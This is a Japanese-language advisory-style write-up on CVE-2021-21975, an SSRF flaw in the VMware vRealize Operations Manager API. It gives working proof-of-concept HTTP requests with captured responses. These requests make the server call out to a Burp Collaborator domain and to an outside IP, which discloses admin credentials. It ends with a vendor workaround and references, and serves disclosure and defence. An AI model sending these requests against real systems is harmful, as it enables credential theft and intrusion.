[CVE-2021-21975] VMware vRealize Operations Manager API のサーバーサイドリクエストフォージェリ（SSRF）

vRealize Operations（vROps）は、パブリッククラウドの監視を統合しながら、VMware Cloud および HCI のデプロイを最適化、計画、拡張するために、アプリからインフラストラクチャまで AI を活用した自律型 IT 運用管理を提供するツールです。VMware vRealize Operations Manager API 8.4 およびそれ以前のすべてのバージョンには、サーバーサイドリクエストフォージェリ（SSRF）の脆弱性があります。この脆弱性が悪用されると、内部リソースの読み取りや更新が行われる可能性があり、またこの場合、攻撃者は vROps サーバーの管理資格情報を容易に窃取できます。CVE-2021-21975 と CVE-2021-21983 を組み合わせることで、攻撃者はリモートの vRealize Operations サーバー上で任意のコードを実行できます。

概念実証（PoC）： この脆弱性を悪用するには、次のリクエストを使用できます

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 70
Connection: close

[
  "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975"
]

上記リクエストのレスポンスは以下のとおりです

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 20:59:02 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQB
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 151

[
  {
    "address": "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975",
    "thumbprint": "<html><body>6xal4bz5uui7c8nzvu368ezjlgz</body></html>"
  }
]

また、管理資格情報は Authorization ヘッダーで開示されます。

その他の概念実証（PoC）： または、以下のリクエストを使用して、CVE-2021-21975 VMware vRealize Operations Manager API のサーバーサイドリクエストフォージェリ（SSRF）脆弱性を検出できます

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 37
Connection: close

[
  "78.171.203.41:8000/CVE-2021-21975"
]

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 21:00:03 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQE
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 67

[
  {
    "address":"78.171.203.41:8000/CVE-2021-21975",
    "thumbprint":null
  }
]

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 37
Connection: close

[
  "78.171.203.41:8000"
]

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 21:00:39 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQJ
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 52

[
  {
    "address":"78.171.203.41:8000",
    "thumbprint":null
  }
]

回避策： パッチをインストールできない場合、またはお使いの vRealize Operations のバージョンにパッチがない場合は、以下の手順で問題を回避できます。この回避策を適用しても vRealize Operations に影響はありません。

vRealize Operations でこの問題を回避するには、casa-security-context.xml から設定行を 1 行削除します。

SSH またはコンソール（コンソールの場合は ALT+F1 を押す）で root としてプライマリノードにログインします。
/usr/lib/vmware-casa/casa-webapp/webapps/casa/WEB-INF/classes/spring/casa-security-context.xml を開きます。
次の行を見つけて削除します: <sec:http pattern="/nodes/thumbprints" security='none'/>
ファイルを保存して閉じます。
次のコマンドで CaSA サービスを再起動します: service vmware-casa restart
vRealize Operations クラスター内の他のすべてのノードで手順 1〜5 を繰り返します。

詳細については、以下のページを参照してください。

https://kb.vmware.com/s/article/83210
https://www.vmware.com/security/advisories/VMSA-2021-0004.html
https://f5.pm/go-66465.html

CVE-2021-21975

人気